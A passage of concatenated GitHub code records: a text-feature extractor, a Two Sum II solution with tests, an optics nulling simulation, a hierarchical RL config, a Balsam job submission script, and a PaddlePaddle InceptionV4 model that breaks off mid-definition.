(len(sentences))\n for word in words:\n word = word.lower()\n\n if not (word in distinctWordList):\n distinctWordList.append(word)\n if (word in wordFreq):\n wordFreq[word] +=1\n else:\n wordFreq [word] = 1\n\n numClosedParantheses = countExists(numOpenParantheses, '(', word)\n numClosedParantheses = countExists(numClosedParantheses, ')', word)\n numHyphen = countExists(numHyphen, '-', word)\n numForwardSlash = countExists(numForwardSlash,'/', word)\n numColon = countExists(numColon, ':', word)\n if(word.isdigit()):\n numNumber += 1\n\n totalWordLength = totalWordLength + len(word)\n\n for wo in wordFreq.keys():\n wordFreq[wo] = wordFreq[wo] / len (words)\n\n for wo in wordFreq.keys():\n if (wo in distinct) and (distinct[wo] != 0.0):\n currenttfidf = wordFreq[wo] * distinct[wo]\n tfidfList.append(currenttfidf)\n tfidfList.sort(reverse=True)\n averagetfidf = np.mean(tfidfList[0:9])\n typeRatio = len(distinctWordList) / numWords\n\n print (\"TF_IDF\")\n print(averagetfidf)\n\n paraLengthMean = totalWordLength / numParagraphs\n mapFeatures[i] = [countDocument, numSingleSentPara, ratioSingleSentPara, paraLengthMean,\n numClosedParantheses,numOpenParantheses, numNumber,\n numForwardSlash, avgSingleSentDist, numColon, meanSentLength,\n typeRatio, averagetfidf, numWords, stdParaLength, numHyphen]\n\n output_writer.writerow([countDocument, i,numSingleSentPara, ratioSingleSentPara, paraLengthMean,\n numClosedParantheses, numOpenParantheses, numNumber,\n numForwardSlash, avgSingleSentDist, numColon, meanSentLength, typeRatio,\n averagetfidf, numWords, stdParaLength, numHyphen])\n\n\n\n","repo_name":"nhhoang96/Cross_Lingual-Classification","sub_path":"corpus_reader.py","file_name":"corpus_reader.py","file_ext":"py","file_size_in_byte":5946,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"7495650676","text":"from typing import List\n\n\nclass Solution:\n def twoSum(self, numbers: List[int], target: int) -> List[int]:\n l, r = 0, len(numbers) - 1\n\n while l < r:\n total = numbers[l] + numbers[r]\n\n if total == target:\n return [l + 1, r + 1]\n elif total < target:\n l += 1\n else:\n r -= 1\n\n return []\n\n\n\"\"\"\nExplanation:\n\nInitialize pointers l and r to the start and end of the list. Enter a loop to calculate the sum of the numbers at indices l and r. If total == target, return a list containing the indices of the two numbers. If total < target, move the left pointer l to the right. If total > target, move the right pointer r to the left. If the loop exits without finding a match, an empty list is returned.\n\nNotes:\n\nTime complexity: O(n), as the input array is traversed at most once.\n\nSpace complexity: O(1), as we use constant extra space to store the two pointers and sum.\n\"\"\"\n\n# Test 1: Min length, not valid\nnums = [2, 4]\ntarget = 7\ntwo_sum = Solution().twoSum(nums, target)\nexpected = []\nassert two_sum == expected, f\"Expected {expected} but got {two_sum}\"\n\n# Test 2: Min length, valid\nnums = [2, 4]\ntarget = 6\ntwo_sum = Solution().twoSum(nums, target)\nexpected = [1, 2]\nassert two_sum == expected, f\"Expected {expected} but got {two_sum}\"\n\n# Test 3: Valid pair\nnums = [2, 7, 11, 15]\ntarget = 9\ntwo_sum = Solution().twoSum(nums, target)\nexpected = [1, 2]\nassert two_sum == expected, f\"Expected {expected} but got {two_sum}\"\n\n# Test 4: No valid pair\nnums = [2, 7, 11, 15]\ntarget = 14\ntwo_sum = Solution().twoSum(nums, target)\nexpected = []\nassert two_sum == expected, f\"Expected {expected} but got {two_sum}\"\n\n# Test 5: Duplicate valid pair\nnums = [3, 3, 4]\ntarget = 6\ntwo_sum = Solution().twoSum(nums, target)\nexpected = [1, 2]\nassert two_sum == expected, f\"Expected {expected} but got {two_sum}\"\n\n# Test 6: Duplicate invalid pair\nnums = [3, 2, 5]\ntarget = 6\ntwo_sum = Solution().twoSum(nums, target)\nexpected = []\nassert two_sum == expected, f\"Expected {expected} but got {two_sum}\"\n","repo_name":"garofalof/algopractice_python","sub_path":"medium/167_Two_Sum_II_Input_Array_Is_Sorted.py","file_name":"167_Two_Sum_II_Input_Array_Is_Sorted.py","file_ext":"py","file_size_in_byte":2093,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"30790383555","text":"#%%\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom pynuin.main.zernike import wfe\nfrom numpy.fft import fft2, ifft2, fftshift\nfrom matplotlib.colors import LogNorm\nfrom matplotlib import ticker\n\n\n'''prepare matrices'''\nx = np.linspace(-5, 5, 100)#np.arange(-7, 7, 0.2)\ny = np.linspace(-5, 5, 100)#np.arange(-7, 7, 0.2)\n\nwfe_img = np.zeros((len(x), len(y)))\naperture1_plot = np.zeros((len(x), len(y)))\naperture1 = np.zeros((len(x), len(y)), dtype=complex)\naperture2prime = np.zeros((len(x), len(y)))\ne_ideal = np.zeros((len(x), len(y)), dtype=complex)\ne_aberrated = np.zeros((len(x), len(y)), dtype=complex)\ne_sum = np.zeros((len(x), len(y)), dtype=complex)\ne_diff = np.zeros((len(x), len(y)), dtype=complex)\n\nimins = []\nimaxs = []\nnulls = []\napertures = np.arange(0.1, 2, 0.1)\n\n\n'''calculations'''\nfor d2_2 in apertures:\n for counterx, elx in enumerate(x):\n for countery, ely in enumerate(y):\n \n # perform transformation to polar coordinates\n ra = np.sqrt(elx**2+ely**2)\n the = np.arctan2(ely, elx)\n \n # define constants\n a0 = 1\n D1_2 = 0.8\n \n D2_2 = d2_2\n lam = 1e-5\n \n # # specify wafefront error\n list_wfe = [(2, -2, 0.5e-5)]\n wfe_gen = float(wfe(list_wfe, ra, the))\n wfe_img[counterx][countery] = float(wfe(list_wfe, ra, the))\n \n # define aprture 1\n aperture1_plot[counterx][countery] = a0*np.heaviside(D1_2-ra, 1)*np.heaviside(ra, 1)\n aperture1[counterx][countery] = a0*np.heaviside(D1_2-ra, 1)*np.heaviside(ra, 1)*np.exp(-2*np.pi*1j*wfe_gen/lam)\n # if ra <= D1_2:\n # aperture1[counterx][countery] = a0\n \n # define aperture 2\n if ra <= D2_2:\n aperture2prime[counterx][countery] = a0\n \n # e field in aperture 1 plane\n e_field_a1_id = fftshift(fft2(aperture1_plot))\n e_field_a1_ab = fftshift(fft2(aperture1))\n # intensity_a1 = abs(e_field_a1.real)**2\n \n # e field in aperture 2 plane\n e_field_a2_id = e_field_a1_id * aperture2prime\n e_field_a2_ab = e_field_a1_ab * aperture2prime\n # intensity_a2 = abs(e_field_a2.real)**2\n \n # e field in imaging plane\n e_field_id = ifft2(e_field_a2_id)\n e_field_ab = ifft2(e_field_a2_ab)\n \n # sum and diff of e fields\n e_plus = e_field_id + e_field_ab\n e_minus = e_field_id - e_field_ab\n \n # calculate intensity in image plane\n intensity_max = abs(e_plus.real)**2\n intensity_min = abs(e_minus.real)**2\n \n \n \n # define null\n imax = np.sum(intensity_max)\n imin = np.sum(intensity_min)\n null = imin/imax\n print(imax)\n print(imin)\n print(null)\n imins.append(imin)\n imaxs.append(imax)\n nulls.append(null)\n# null = irr_min/irr_max\n \n\n\n# plt.plot(apertures, imins, label=\"imins\")\n# plt.plot(apertures, imaxs, label=\"imaxs\")\nplt.plot(apertures, nulls, label=\"nulls\")\nplt.legend()\nplt.show()\n\n\n'''plotting'''\n# fig, axs = plt.subplots(3, 2)\n\n# # ideal irradiance\n# img1 = axs[0, 0].imshow(aperture1_plot)\n# fig.colorbar(img1, ax=axs[0, 0], fraction=0.046, pad=0.04)\n# axs[0, 0].set_title(\"A$_1$\")\n\n# # maximum irradiance\n# img2 = axs[0, 1].imshow(aperture2prime)\n# fig.colorbar(img2, ax=axs[0, 1], fraction=0.046, pad=0.04)\n# axs[0, 1].set_title(\"A$_2$\")\n\n# # wfe\n# img3 = axs[1, 0].imshow(e_field_a2_id.real)\n# # img3.set_clim(1e-5, np.amax(intensity_a1))\n# fig.colorbar(img3, ax=axs[1, 0], fraction=0.046, pad=0.04)\n# axs[1, 0].set_title(\"E id clean\")\n\n\n# # wfe\n# img4 = axs[1, 1].imshow(e_field_a2_ab.real)\n# # img4.set_clim(1e-5, np.amax(intensity_a2))\n# fig.colorbar(img4, ax=axs[1, 1], fraction=0.046, pad=0.04)\n# axs[1, 1].set_title(\"E ab clean\")\n\n\n\n# # difference between intensities\n# img6 = axs[2, 0].imshow(intensity_max)\n# # img4.set_clim(0.5e1, np.amax(intensity))\n# fig.colorbar(img6, ax=axs[2, 0], fraction=0.046, pad=0.04)\n# axs[2, 0].set_title(\"I max\")\n\n\n# # difference between intensities\n# img5 = axs[2, 1].imshow(intensity_min)\n# # img4.set_clim(0.5e1, np.amax(intensity))\n# fig.colorbar(img5, ax=axs[2, 1], fraction=0.046, pad=0.04)\n# axs[2, 1].set_title(\"I min\")\n\n\n\n# # irr aberrated\n# img5 = axs[1, 0].imshow(irr_aberrated)\n# fig.colorbar(img5, ax=axs[1, 0], fraction=0.046, pad=0.04)\n# axs[1, 0].set_title(\"$I_{aberrated}$\")\n\n# # minimum irradiance\n# img6 = axs[1, 1].imshow(irr_min)\n# fig.colorbar(img6, ax=axs[1, 1], fraction=0.046, pad=0.04)\n# axs[1, 1].set_title(\"$I_{min}$\")\n\n# # null\n# # img7 = axs[1, 2].imshow(null, norm=LogNorm())\n# # cb = fig.colorbar(img7, ax=axs[1, 2], fraction=0.046, pad=0.04)\n# # tick_locator = ticker.MaxNLocator(nbins=2)\n# # cb.locator = tick_locator\n# # cb.update_ticks()\n# axs[1, 2].set_title(\"Null\")\n\n# # plt.tight_layout(pad=1.5)\n# plt.subplots_adjust(wspace=-0.2, hspace=0.71)\n# plt.savefig(\"plot.pdf\")\n# plt.show()\n\n\n\n# plt.imshow(null, norm=LogNorm())\n# plt.clim(-1e-18, 0)\n# plt.colorbar()\n\n# plt.show()\n# # cb = fig.colorbar(img7, ax=axs[1, 2], fraction=0.046, pad=0.04)\n# # tick_locator = ticker.MaxNLocator(nbins=2)\n# # cb.locator = tick_locator\n# # cb.update_ticks()\n# # axs[1, 2].set_title(\"Null\")","repo_name":"pahuber/PyNuIn","sub_path":"old/run_pinhole_ideal_aberrated_experimental.py","file_name":"run_pinhole_ideal_aberrated_experimental.py","file_ext":"py","file_size_in_byte":5405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"24871858934","text":"import os\nimport copy\n\nfrom spirl.utils.general_utils import AttrDict\nfrom spirl.rl.components.agent import FixedIntervalHierarchicalAgent\nfrom spirl.rl.policies.mlp_policies import MLPPolicy\nfrom spirl.rl.components.critic import MLPCritic\nfrom spirl.rl.components.replay_buffer import UniformReplayBuffer\nfrom spirl.rl.agents.ac_agent import SACAgent\nfrom spirl.rl.agents.skill_space_agent import SkillSpaceAgent\nfrom spirl.models.skill_prior_mdl import SkillPriorMdl\nfrom spirl.configs.default_data_configs.gts import data_spec\n\nfrom spirl.rl.envs.gts_multi import GTSEnv_Multi\nfrom spirl.rl.components.sampler_multi import HierarchicalSamplerMulti\nfrom spirl.rl.components.sampler_batched import SamplerBatched, HierarchicalSamplerBached\n\nfrom spirl.rl.envs.gts import GTSEnv_Base\nfrom spirl.rl.components.sampler import HierarchicalSampler\n\nfrom spirl.utils.gts_utils import eval_time_trial_done_function, eval_time_trial_reward_function\ncurrent_dir = os.path.dirname(os.path.realpath(__file__))\n\nnotes = 'hierarchical RL on the gts env'\n\n# Environment\nenv_config = AttrDict(\n reward_norm=1.,\n # do_init = False,\n # action_standard = True,\n\n # reward_function = eval_time_trial_reward_function,\n # done_function = eval_time_trial_done_function,\n \n)\n\nconfiguration = {\n 'seed': 2,\n 'agent': FixedIntervalHierarchicalAgent,\n \n 'data_dir': '.',\n 'num_epochs': 2000,\n 'max_rollout_len': 10000,\n 'n_steps_per_epoch': 10000,\n 'n_warmup_steps': 160000,\n 'use_update_after_sampling':True,\n\n 'environment': GTSEnv_Multi,\n\n # 'environment':GTSEnv_Base,\n # 'sampler':HierarchicalSampler,\n 'sampler':HierarchicalSamplerBached,\n\n\n # 'n_steps_per_epoch': 200,\n # 'n_warmup_steps': 200,\n\n}\nconfiguration = AttrDict(configuration)\n\nsampler_config = AttrDict(\n number_of_agents = 20,\n)\n\n# Replay Buffer\nreplay_params = AttrDict(\n dump_replay=False,\n)\n\n# Observation Normalization\nobs_norm_params = AttrDict(\n)\n\nbase_agent_params = AttrDict(\n # batch_size=256, #256,\n batch_size=64, \n replay=UniformReplayBuffer,\n replay_params=replay_params,\n clip_q_target=False,\n)\n\n\n###### Low-Level ######\n# LL Policy\nll_model_params = AttrDict(\n state_dim=data_spec.state_dim,\n action_dim=data_spec.n_actions,\n kl_div_weight=5e-4,\n nz_enc=128,\n nz_mid=128,\n n_processing_layers=5,\n # nz_vae=10,\n nz_vae = 6,\n n_rollout_steps=4,\n)\n\n\n# LL Agent\nll_agent_config = copy.deepcopy(base_agent_params)\nll_agent_config.update(AttrDict(\n model=SkillPriorMdl,\n model_params=ll_model_params,\n model_checkpoint=os.path.join(os.environ[\"EXP_DIR\"],\n \"skill_prior_learning/gts/hierarchical\"),\n))\n\n###### High-Level ########\n# HL Policy\nhl_policy_params = AttrDict(\n action_dim=ll_model_params.nz_vae, # z-dimension of the skill VAE\n input_dim=data_spec.state_dim,\n max_action_range=1., # prior is Gaussian with unit variance\n nz_mid=256,\n n_layers=5,\n)\n\n# HL Critic\nhl_critic_params = AttrDict(\n action_dim=hl_policy_params.action_dim,\n input_dim=hl_policy_params.input_dim,\n output_dim=1,\n n_layers=5, # number of policy network layer\n nz_mid=256,\n action_input=True,\n)\n\n# HL Agent\nhl_agent_config = copy.deepcopy(base_agent_params)\nhl_agent_config.update(AttrDict(\n policy=MLPPolicy,\n policy_params=hl_policy_params,\n critic=MLPCritic,\n critic_params=hl_critic_params,\n))\n\n\n##### Joint Agent #######\nagent_config = AttrDict(\n hl_agent=SACAgent,\n hl_agent_params=hl_agent_config,\n ll_agent=SkillSpaceAgent,\n ll_agent_params=ll_agent_config,\n hl_interval=ll_model_params.n_rollout_steps,\n log_video_caption=False,\n\n update_iterations = 1280,\n discount_factor = 0.98 ,\n)\n\n# Dataset - Random data\ndata_config = AttrDict()\ndata_config.dataset_spec = data_spec\n\n","repo_name":"CeHao1/spirl_gts","sub_path":"spirl/configs/hrl/gts/base_conf.py","file_name":"base_conf.py","file_ext":"py","file_size_in_byte":3853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"21182421871","text":"import glob\nimport os\nimport time\n\nfrom balsam.api import ApplicationDefinition, BatchJob\n\n\"\"\"\nThis file is roughly equivalent to a traditional batch submission shell script\nthat used legacy Balsam commands, except it uses the Balsam API to submit jobs\nto the scheduler. It can also be run from anywhere and still submit jobs to\nthe same machine. It loads, parameterizes, and submits the LibensembleApp for\nexecution. Use this script to run libEnsemble as a Balsam Job on compute nodes.\n\nIf running libEnsemble on a laptop, this script is not needed. Just run the\ncorresponding libEnsemble calling script as normal.\n\"\"\"\n\nBALSAM_SITE = \"jln_theta\"\n\n# Batch Session Parameters\nBATCH_NUM_NODES = 5\nBATCH_WALL_CLOCK_TIME = 60\nPROJECT = \"CSC250STMS07\"\nQUEUE = \"debug-flat-quad\"\n\n# libEnsemble Job Parameters - A subset of above resources dedicated to libEnsemble\nLIBE_NODES = 1\nLIBE_RANKS = 5\n\n# This script cancels remote allocation once SIM_MAX statfiles transferred\nTRANSFER_DESTINATION = \"./ensemble\"\nSIM_MAX = 16\n\n# Retrieve the libEnsemble app from the Balsam service\napps = ApplicationDefinition.load_by_site(BALSAM_SITE)\nRemoteLibensembleApp = apps[\"RemoteLibensembleApp\"]\nRemoteLibensembleApp.resolve_site_id()\n\n\n# Submit the libEnsemble app as a Job to the Balsam service.\n# It will wait for a compatible, running BatchJob session (remote allocation)\nlibe_job = RemoteLibensembleApp.submit(\n workdir=\"libe_workflow\",\n num_nodes=LIBE_NODES,\n ranks_per_node=LIBE_RANKS,\n)\n\nprint(\"libEnsemble App retrieved and submitted as Job to Balsam service.\")\n\n# Submit an allocation (BatchJob) request to the libEnsemble app's site\nbatch = BatchJob.objects.create(\n site_id=libe_job.site_id,\n num_nodes=BATCH_NUM_NODES,\n wall_time_min=BATCH_WALL_CLOCK_TIME,\n job_mode=\"mpi\",\n project=PROJECT,\n queue=QUEUE,\n)\n\nprint(\"BatchJob session initialized. All Balsam apps will run in this BatchJob.\")\n\n# Wait for all forces.stat files to be transferred back, then cancel the BatchJob\nos.makedirs(TRANSFER_DESTINATION, exist_ok=True)\nprint(\"Waiting for all returned forces.stat files...\")\n\nwhile len(glob.glob(os.path.abspath(TRANSFER_DESTINATION) + \"/*.stat\")) != SIM_MAX:\n time.sleep(3)\n\nprint(\"All forces.stat files returned. Cancelling BatchJob session.\")\n\nbatch.state = \"pending_deletion\"\nbatch.save()\n\nprint(\"BatchJob session cancelled. Success!\")\n","repo_name":"Libensemble/libensemble","sub_path":"libensemble/tests/scaling_tests/forces/balsam_forces/submit_libe_forces_remotely.py","file_name":"submit_libe_forces_remotely.py","file_ext":"py","file_size_in_byte":2367,"program_lang":"python","lang":"en","doc_type":"code","stars":54,"dataset":"github-code","pt":"3"} +{"seq_id":"23446947175","text":"import paddle\nfrom paddle import ParamAttr\nimport paddle.nn as nn\nimport paddle.nn.functional as F\nfrom paddle.nn import Conv2D, BatchNorm, Linear, Dropout\nfrom paddle.nn import AdaptiveAvgPool2D, MaxPool2D, AvgPool2D\nfrom paddle.nn.initializer import Uniform\nimport math\n\nfrom ....utils.save_load import load_dygraph_pretrain, load_dygraph_pretrain_from_url\n\nMODEL_URLS = {\n \"InceptionV4\":\n \"https://paddle-imagenet-models-name.bj.bcebos.com/dygraph/InceptionV4_pretrained.pdparams\"\n}\n\n__all__ = list(MODEL_URLS.keys())\n\n\nclass ConvBNLayer(nn.Layer):\n def __init__(self,\n num_channels,\n num_filters,\n filter_size,\n stride=1,\n padding=0,\n groups=1,\n act='relu',\n name=None):\n super(ConvBNLayer, self).__init__()\n\n self._conv = Conv2D(\n in_channels=num_channels,\n out_channels=num_filters,\n kernel_size=filter_size,\n stride=stride,\n padding=padding,\n groups=groups,\n weight_attr=ParamAttr(name=name + \"_weights\"),\n bias_attr=False)\n bn_name = name + \"_bn\"\n self._batch_norm = BatchNorm(\n num_filters,\n act=act,\n param_attr=ParamAttr(name=bn_name + \"_scale\"),\n bias_attr=ParamAttr(name=bn_name + \"_offset\"),\n moving_mean_name=bn_name + '_mean',\n moving_variance_name=bn_name + '_variance')\n\n def forward(self, inputs):\n y = self._conv(inputs)\n y = self._batch_norm(y)\n return y\n\n\nclass InceptionStem(nn.Layer):\n def __init__(self):\n super(InceptionStem, self).__init__()\n self._conv_1 = ConvBNLayer(\n 3, 32, 3, stride=2, act=\"relu\", name=\"conv1_3x3_s2\")\n self._conv_2 = ConvBNLayer(32, 32, 3, act=\"relu\", name=\"conv2_3x3_s1\")\n self._conv_3 = ConvBNLayer(\n 32, 64, 3, padding=1, act=\"relu\", name=\"conv3_3x3_s1\")\n self._pool = MaxPool2D(kernel_size=3, stride=2, padding=0)\n self._conv2 = ConvBNLayer(\n 64, 96, 3, stride=2, act=\"relu\", name=\"inception_stem1_3x3_s2\")\n self._conv1_1 = ConvBNLayer(\n 160, 64, 1, act=\"relu\", name=\"inception_stem2_3x3_reduce\")\n self._conv1_2 = ConvBNLayer(\n 64, 96, 3, act=\"relu\", name=\"inception_stem2_3x3\")\n self._conv2_1 = ConvBNLayer(\n 160, 64, 1, act=\"relu\", name=\"inception_stem2_1x7_reduce\")\n self._conv2_2 = ConvBNLayer(\n 64,\n 64, (7, 1),\n padding=(3, 0),\n act=\"relu\",\n name=\"inception_stem2_1x7\")\n self._conv2_3 = ConvBNLayer(\n 64,\n 64, (1, 7),\n padding=(0, 3),\n act=\"relu\",\n name=\"inception_stem2_7x1\")\n self._conv2_4 = ConvBNLayer(\n 64, 96, 3, act=\"relu\", name=\"inception_stem2_3x3_2\")\n self._conv3 = ConvBNLayer(\n 192, 192, 3, stride=2, act=\"relu\", name=\"inception_stem3_3x3_s2\")\n\n def forward(self, inputs):\n conv = self._conv_1(inputs)\n conv = self._conv_2(conv)\n conv = self._conv_3(conv)\n\n pool1 = self._pool(conv)\n conv2 = self._conv2(conv)\n concat = paddle.concat([pool1, conv2], axis=1)\n\n conv1 = self._conv1_1(concat)\n conv1 = self._conv1_2(conv1)\n\n conv2 = self._conv2_1(concat)\n conv2 = self._conv2_2(conv2)\n conv2 = self._conv2_3(conv2)\n conv2 = self._conv2_4(conv2)\n\n concat = paddle.concat([conv1, conv2], axis=1)\n\n conv1 = self._conv3(concat)\n pool1 = self._pool(concat)\n\n concat = paddle.concat([conv1, pool1], axis=1)\n return concat\n\n\nclass InceptionA(nn.Layer):\n def __init__(self, name):\n super(InceptionA, self).__init__()\n self._pool = AvgPool2D(kernel_size=3, stride=1, padding=1)\n self._conv1 = ConvBNLayer(\n 384, 96, 1, act=\"relu\", name=\"inception_a\" + name + \"_1x1\")\n self._conv2 = ConvBNLayer(\n 384, 96, 1, act=\"relu\", name=\"inception_a\" + name + \"_1x1_2\")\n self._conv3_1 = ConvBNLayer(\n 384, 64, 1, act=\"relu\", name=\"inception_a\" + name + \"_3x3_reduce\")\n self._conv3_2 = ConvBNLayer(\n 64,\n 96,\n 3,\n padding=1,\n act=\"relu\",\n name=\"inception_a\" + name + \"_3x3\")\n self._conv4_1 = ConvBNLayer(\n 384,\n 64,\n 1,\n act=\"relu\",\n name=\"inception_a\" + name + \"_3x3_2_reduce\")\n self._conv4_2 = ConvBNLayer(\n 64,\n 96,\n 3,\n padding=1,\n act=\"relu\",\n name=\"inception_a\" + name + \"_3x3_2\")\n self._conv4_3 = ConvBNLayer(\n 96,\n 96,\n 3,\n padding=1,\n act=\"relu\",\n name=\"inception_a\" + name + \"_3x3_3\")\n\n def forward(self, inputs):\n pool1 = self._pool(inputs)\n conv1 = self._conv1(pool1)\n\n conv2 = self._conv2(inputs)\n\n conv3 = self._conv3_1(inputs)\n conv3 = self._conv3_2(conv3)\n\n conv4 = self._conv4_1(inputs)\n conv4 = self._conv4_2(conv4)\n conv4 = self._conv4_3(conv4)\n\n concat = paddle.concat([conv1, conv2, conv3, conv4], axis=1)\n return concat\n\n\nclass ReductionA(nn.Layer):\n def __init__(self):\n super(ReductionA, self).__init__()\n self._pool = MaxPool2D(kernel_size=3, stride=2, padding=0)\n self._conv2 = ConvBNLayer(\n 384, 384, 3, stride=2, act=\"relu\", name=\"reduction_a_3x3\")\n self._conv3_1 = ConvBNLayer(\n 384, 192, 1, act=\"relu\", name=\"reduction_a_3x3_2_reduce\")\n self._conv3_2 = ConvBNLayer(\n 192, 224, 3, padding=1, act=\"relu\", name=\"reduction_a_3x3_2\")\n self._conv3_3 = ConvBNLayer(\n 224, 256, 3, stride=2, act=\"relu\", name=\"reduction_a_3x3_3\")\n\n def forward(self, inputs):\n pool1 = self._pool(inputs)\n conv2 = self._conv2(inputs)\n conv3 = self._conv3_1(inputs)\n conv3 = self._conv3_2(conv3)\n conv3 = self._conv3_3(conv3)\n concat = paddle.concat([pool1, conv2, conv3], axis=1)\n return concat\n\n\nclass InceptionB(nn.Layer):\n def __init__(self, name=None):\n super(InceptionB, self).__init__()\n self._pool = AvgPool2D(kernel_size=3, stride=1, padding=1)\n self._conv1 = ConvBNLayer(\n 1024, 128, 1, act=\"relu\", name=\"inception_b\" + name + \"_1x1\")\n self._conv2 = ConvBNLayer(\n 1024, 384, 1, act=\"relu\", name=\"inception_b\" + name + \"_1x1_2\")\n self._conv3_1 = ConvBNLayer(\n 1024,\n 192,\n 1,\n act=\"relu\",\n name=\"inception_b\" + name + \"_1x7_reduce\")\n self._conv3_2 = ConvBNLayer(\n 192,\n 224, (1, 7),\n padding=(0, 3),\n act=\"relu\",\n name=\"inception_b\" + name + \"_1x7\")\n self._conv3_3 = ConvBNLayer(\n 224,\n 256, (7, 1),\n padding=(3, 0),\n act=\"relu\",\n name=\"inception_b\" + name + \"_7x1\")\n self._conv4_1 = ConvBNLayer(\n 1024,\n 192,\n 1,\n act=\"relu\",\n name=\"inception_b\" + name + \"_7x1_2_reduce\")\n self._conv4_2 = ConvBNLayer(\n 192,\n 192, (1, 7),\n padding=(0, 3),\n act=\"relu\",\n name=\"inception_b\" + name + \"_1x7_2\")\n self._conv4_3 = ConvBNLayer(\n 192,\n 224, (7, 1),\n padding=(3, 0),\n act=\"relu\",\n name=\"inception_b\" + name + \"_7x1_2\")\n self._conv4_4 = ConvBNLayer(\n 224,\n 224, (1, 7),\n padding=(0, 3),\n act=\"relu\",\n name=\"inception_b\" + name + \"_1x7_3\")\n self._conv4_5 = ConvBNLayer(\n 224,\n 256, (7, 1),\n padding=(3, 0),\n act=\"relu\",\n name=\"inception_b\" + name + \"_7x1_3\")\n\n def forward(self, inputs):\n pool1 = self._pool(inputs)\n conv1 = self._conv1(pool1)\n\n conv2 = self._conv2(inputs)\n\n conv3 = self._conv3_1(inputs)\n conv3 = self._conv3_2(conv3)\n conv3 = self._conv3_3(conv3)\n\n conv4 = self._conv4_1(inputs)\n conv4 = self._conv4_2(conv4)\n conv4 = self._conv4_3(conv4)\n conv4 = self._conv4_4(conv4)\n conv4 = self._conv4_5(conv4)\n\n concat = paddle.concat([conv1, conv2, conv3, conv4], axis=1)\n return concat\n\n\nclass ReductionB(nn.Layer):\n def __init__(self):\n super(ReductionB, self).__init__()\n self._pool = MaxPool2D(kernel_size=3, stride=2, padding=0)\n self._conv2_1 = ConvBNLayer(\n 1024, 192, 1, act=\"relu\", name=\"reduction_b_3x3_reduce\")\n self._conv2_2 = ConvBNLayer(\n 192, 192, 3, stride=2, act=\"relu\", name=\"reduction_b_3x3\")\n self._conv3_1 = ConvBNLayer(\n 1024, 256, 1, act=\"relu\", name=\"reduction_b_1x7_reduce\")\n self._conv3_2 = ConvBNLayer(\n 256,\n 256, (1, 7),\n padding=(0, 3),\n act=\"relu\",\n name=\"reduction_b_1x7\")\n self._conv3_3 = ConvBNLayer(\n 256,\n 320, (7, 1),\n padding=(3, 0),\n act=\"relu\",\n name=\"reduction_b_7x1\")\n self._conv3_4 = ConvBNLayer(\n 320, 320, 3, stride=2, act=\"relu\", name=\"reduction_b_3x3_2\")\n\n def forward(self, inputs):\n pool1 = self._pool(inputs)\n\n conv2 = self._conv2_1(inputs)\n conv2 = self._conv2_2(conv2)\n\n conv3 = self._conv3_1(inputs)\n conv3 = self._conv3_2(conv3)\n conv3 = self._conv3_3(conv3)\n conv3 = self._conv3_4(conv3)\n\n concat = paddle.concat([pool1, conv2, conv3], axis=1)\n\n return concat\n\n\nclass InceptionC(nn.Layer):\n def __init__(self, name=None):\n super(InceptionC, self).__init__()\n self._pool = AvgPool2D(kernel_size=3, stride=1, padding=1)\n self._conv1 = ConvBNLayer(\n 1536, 256, 1, act=\"relu\", name=\"inception_c\" + name + \"_1x1\")\n self._conv2 = ConvBNLayer(\n 1536, 256, 1, act=\"relu\", name=\"inception_c\" + name + \"_1x1_2\")\n self._conv3_0 = ConvBNLayer(\n 1536, 384, 1, act=\"relu\", name=\"inception_c\" + name + \"_1x1_3\")\n self._conv3_1 = ConvBNLayer(\n 384,\n 256, (1, 3),\n padding=(0, 1),\n act=\"relu\",\n name=\"inception_c\" + name + \"_1x3\")\n self._conv3_2 = ConvBNLayer(\n 384,\n 256, (3, 1),\n padding=(1, 0),\n act=\"relu\",\n name=\"inception_c\" + name + \"_3x1\")\n self._conv4_0 = ConvBNLayer(\n 1536, 384, 1, act=\"relu\", name=\"inception_c\" + name + \"_1x1_4\")\n self._conv4_00 = ConvBNLayer(\n 384,\n 448, (1, 3),\n padding=(0, 1),\n act=\"relu\",\n name=\"inception_c\" + name + \"_1x3_2\")\n self._conv4_000 = ConvBNLayer(\n 448,\n 512, (3, 1),\n padding=(1, 0),\n act=\"relu\",\n name=\"inception_c\" + name + \"_3x1_2\")\n self._conv4_1 = ConvBNLayer(\n 512,\n 256, (1, 3),\n padding=(0, 1),\n act=\"relu\",\n name=\"inception_c\" + name + \"_1x3_3\")\n self._conv4_2 = ConvBNLayer(\n 512,\n 256, (3, 1),\n padding=(1, 0),\n act=\"relu\",\n name=\"inception_c\" + name + \"_3x1_3\")\n\n def forward(self, inputs):\n pool1 = self._pool(inputs)\n conv1 = self._conv1(pool1)\n\n conv2 = self._conv2(inputs)\n\n conv3 = self._conv3_0(inputs)\n conv3_1 = self._conv3_1(conv3)\n conv3_2 = self._conv3_2(conv3)\n\n conv4 = self._conv4_0(inputs)\n conv4 = self._conv4_00(conv4)\n conv4 = self._conv4_000(conv4)\n conv4_1 = self._conv4_1(conv4)\n conv4_2 = self._conv4_2(conv4)\n\n concat = paddle.concat(\n [conv1, conv2, conv3_1, conv3_2, conv4_1, conv4_2], axis=1)\n\n return concat\n\n\nclass InceptionV4DY(nn.Layer):\n def __init__(self, class_num=1000):\n super(InceptionV4DY, self).__init__()\n self._inception_stem = InceptionStem()\n\n self._inceptionA_1 = InceptionA(name=\"1\")\n self._inceptionA_2 = InceptionA(name=\"2\")\n self._inceptionA_3 = InceptionA(name=\"3\")\n self._inceptionA_4 = InceptionA(name=\"4\")\n self._reductionA = ReductionA()\n\n self._inceptionB_1 = InceptionB(name=\"1\")\n self._inceptionB_2 = InceptionB(name=\"2\")\n self._inceptionB_3 = InceptionB(name=\"3\")\n self._inceptionB_4 = InceptionB(name=\"4\")\n self._inceptionB_5 = InceptionB(name=\"5\")\n self._inceptionB_6 = InceptionB(name=\"6\")\n self._inceptionB_7 = InceptionB(name=\"7\")\n self._reductionB = ReductionB()\n\n self._inceptionC_1 = InceptionC(name=\"1\")\n self._inceptionC_2 = InceptionC(name=\"2\")\n self._inceptionC_3 = InceptionC(name=\"3\")\n\n self.avg_pool = 